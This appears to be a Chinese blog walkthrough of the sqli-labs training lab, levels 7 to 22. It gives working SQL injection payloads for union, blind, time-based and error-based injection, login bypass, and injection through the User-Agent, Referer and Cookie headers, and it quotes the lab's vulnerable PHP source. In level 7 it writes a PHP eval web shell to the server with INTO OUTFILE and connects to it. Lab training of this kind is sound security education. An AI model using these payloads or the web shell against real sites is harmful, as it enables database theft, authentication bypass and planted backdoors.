废话不多说,接上篇文章,进入第七关,可以看到和之前关卡的提示有点不一样:You are in.... Use outfile......
单引号报错,不过并没有显示详细的错误信息,如下:
双引号返回正常,说明参数是用单引号包裹的,再来尝试闭合:
http://192.168.237.1/sqli-labs/Less-7/?id=1'--+
失败了,还是提示语法错误,应该是被括号包裹了,多尝试几次就可以得到正确的闭合,如下:
http://192.168.237.1/sqli-labs/Less-7/?id=1'))--+
//确定字段数
http://192.168.237.1/sqli-labs/Less-7/?id=1' order by 3--+
再来尝试联合查询注入,如下:
http://192.168.237.1/sqli-labs/Less-7/?id=-1' union select 1,2,3--+
网页只给我们返回了一个正常页面,并没有显示位。实际上这一题既不能用联合查询注入,也不能用报错注入,因为网站把报错回显给关闭了。可以看一下后台的源码php文件,关键代码片段如下:
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "#FFFF00">';
echo 'You are in.... Use outfile......';
echo "<br>
";
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
echo 'You have an error in your SQL syntax';
//print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
可以看出,当查询结果为真时,网页只会输出一个You are in.... Use outfile......,当结果为假时,则输出You have an error in your SQL syntax,输出网站错误信息这一行也被注释了。再回头来看网站一开始的提示:use outfile。由此可以猜测,是用outfile写入一句话木马,不过有两个前置条件:1.有写入权限 2.知道网站在服务器上的绝对路径
网站的绝对路径可以去前面几题获取(在实战中的话就需要看前期的信息搜集有没有得到绝对路径了),payload如下:
http://192.168.237.1/sqli-labs/Less-2/?id=-1 union select 1,@@basedir,@@datadir
basedir()指定了安装MYSQL的安装路径
datadir()指定了安装MYSQL的数据文件路径
这样便得到了绝对路径,直接写入一句话木马,payload如下:
http://192.168.237.1/sqli-labs/Less-7/?id=-1')) union select 1,2,'<?php eval(@$_POST["admin"]);?>' into outfile"F:\\phpstudy_pro\\WWW\\sqli-labs\\less-7\\hack.php"--+
注意写入的绝对路径要用双反斜杠,不然会写入不成功;
这里显示语法错误,我们不管,用蚁剑连接,成功,如下:
如果写入一句话木马失败的话,可能是数据库没有打开写权限,需要将secure_file_priv的值改为网站根目录,然后重启MySQL服务才会生效,具体操作可以去看我的之前发的一篇文章,这里不再赘述:http://www.baihaiou.cn/wordpress/index.php/2021/04/04/3/
单引号报错,双引号返回正常,很容易便能得到闭合语句,如下:
http://192.168.237.1/sqli-labs/Less-8/?id=1'--+
看到页面显示的“You are in...........”就知道,这题只能是盲注了。
SQL注入按照有回显和无回显可以分为两类,有回显即网页将SQL语句返回的内容显示在了页面中,无回显则反之,有回显一般使用联合查询注入,无回显则使用报错注入,盲注。从时间成本上来看,联合查询注入<报错注入<<盲注。
盲注也可以分为布尔型盲注和延时型注入,一般优先使用布尔型盲注,payload如下:
http://192.168.237.1/sqli-labs/Less-8/?id=1' and substr(database(),1,1)='s' --+
这个payload作用是查询当前数据库名的第一个字母是不是s,如果是则页面返回正常,否则返回异常,以此类推,可以通过这个方式去遍历得到数据库中的所有数据,只是耗费时间比较多,这里就不在往下演示了,一般都用工具,如sqlmap之类,代码基础可以的话,自己写脚本也是可以的。
单引号和双引号都返回相同页面,没有报错,猜测网站的逻辑是:无论结果为真还是未加,都返回相同页面,去查看源码文件,果然如此,关键代码片段如下:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>
";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
这种情况下,我们不能通过网页的返回内容来判断语句是否正常执行了,那么只能通过构造延时注入的payload来判断了,如下:
http://192.168.237.1/sqli-labs/Less-9/?id=1' and if((length(database())=8),sleep(3),0) --+
这条语句的意思是:判断数据库名的长度是否为8,如果是,则等待3秒再往下执行,反之则不会有等待时间。
获取数据的方式和上一题的布尔型盲注其实没太大区别,都是通过遍历。
这关和上一关基本一致,只是把包裹参数的单引号变成了双引号而已,闭合payload如下:
http://192.168.237.1/sqli-labs/Less-10/?id=1"--+
进入这题可以看到一个登录框,毫无疑问注入点就在输入用户名和密码处,直接尝试在用户名处输入一个单引号,回车,直接报错了:
再尝试双引号,不报错了:
可以确定是一个单引号的字符型注入,既然是登录框,那么我们可以尝试绕过用户名密码的验证,来登录后台。结合报错信息,猜测一下后台判断用户登录的逻辑,SQL语句应该是大致是这样:
select * from users where username='$username' and password='$password' limit 0,1
其中的username和password两个变量是用户可控的,那么我们就可以根据此来构造一个payload:
' or 1=1#
这个payload将前面的$username变量闭合,并使其结果返回为真,又把后面的语句注释掉,这样,便可以绕过验证成功登录了,如下图:
当然,这里也可以通过联合查询注入爆数据,payload如下:
' union select user(http://42.194.148.237/wordpress/photo/sqli/less7-22/),2#
这关和上一关的思路基本相同,可以参照上一题,只是参数便为由双引号和括号包裹,闭合payload如下:
") or 1=1#
还是差不多的,闭合payload如下:
') or 1=1#
但是有一点要提的是,这一关不可以用联合查询注入,因为登陆后的显示位没有了,如下图:
但是报错注入,还是可以用的,payload如下:
') and updatexml(1,concat(0x7e,(select user()),0x7e),1)#
还是和上一关差不多,闭合payload如下:
" or 1=1#
报错注入payload:
" and updatexml(1,concat(0x7e,(select user()),0x7e),1)#
这一关稍有变化,单双引号都没有报错,说明关闭了错误回显,这种情况只能靠我们自己去不断猜测尝试了,像这种题目,只要思路没有问题,闭合成功就只是时间问题了,这里直接放闭合payload:
' or 1=1#
爆数据的话这一关只能盲注,报错注入也用不了,因为关闭了错误回显
老样子,参考上一关,闭合payload如下:
1") or 1=1#
可以看到这是一个重置密码的页面,猜测SQL语句大概是这样:
update users set password='$password' where username='$username'
首先可以确定的是这里用不了union,insert/update,delete与select注入的区别也就在于此,select注入可以通过union拼接查询语句,而insert/update,delete不行,因为前者是操作修改数据,而后者是查询。那么我们先试试重置一下用户名为admin的密码,如下:
可以看到是成功了的,那么尝试一下报错注入,payload如下:
1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)#
看一下源文件,关键代码如下:
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
网站通过check_input()这个函数对用户名处的输入做了严格的过滤:
substr()函数,只接收15个字符;get_magic_quotes_gpc()函数,用来判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误(当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1,为off则返回0);
stripslashes()函数,返回已删除反斜杠的字符串;
ctype_digit()函数,判断检查字符串里的字符是不是都为数字,是返回true,不是则返回false;
intval()函数,整型转换;
虽然对用户名做了严格过滤,但是对密码处却没有做任何限制,所有我们可以直接构造闭合payload进行攻击。这可以类比我们常说的木桶原理,从我们攻击的角度来看,一个网站的安全策略就算假设其做的再完美,但却出现了一个弱口令,那这些安全策略也只能是摆设了。
18关,网页显示了我们的IP,先登录一下试试:admin,123456
登录后,网页显示了我们的UA(user agent),可以猜测网页将我们的UA信息插入到了数据库中,再返回到页面上。只要与数据库有交互,就可能存在注入,所以我们尝试修改UA字段。因为是post请求,就用burp来演示,先抓取一个登录成功时的包,发送到repeater里,方便测试,如下图:
先发送一个正常登录的数据包,可以看到返回正常:
再将UA字段改为一个单引号,重新发送,网页报错了:
很明显存在注入,这里是insert插入语句,所以我们用报错注入,payload如下:
User-Agent: ' and updatexml(1,concat(0x7e,(select user()),0x7e),1) or '1
这里后面需要闭合,不能用注释符,会破坏insert语句的插入
放一下后台insert语句的源码,方便理解:
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
这一关和18关差不多,只是注入点由UA字段变为Referer字段,payload如下:
Referer: ' and updatexml(1,concat(0x7e,(select user()),0x7e),1) or '
先登录,如下图:
网页将我们的cookie插入到了数据库,再返回到了页面上,显然注入点再cookie处,我们抓个包,在cookie处加单引号试试,如下图:
果不其然,报错了,接着闭合,联合查询注入,payload如下:
Cookie: uname=' union select user(),2,3#
这关和上一关的区别在于后台拿到cookie后,会先用base64解码,再放到数据库查询,关键代码片段如下:
echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
$cookee = base64_decode($cookee);
echo "<br>
</font>";
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
所以我们只要先把payload用base64编码就可以正常利用了,如:
base64编码前payload:') union select user(),2,3#
base64编码后payload:JykgdW5pb24gc2VsZWN0IHVzZXIoKSwyLDMj
成功执行,如下图:
和21关没差,示例payload:
base64编码前payload:" union select 1,2,user()#
base64编码后payload:IiB1bmlvbiBzZWxlY3QgMSwyLHVzZXIoKSM=
sqli-labs靶场的第一部分算是写完了,之后部分看什么时候有时间来慢慢补上。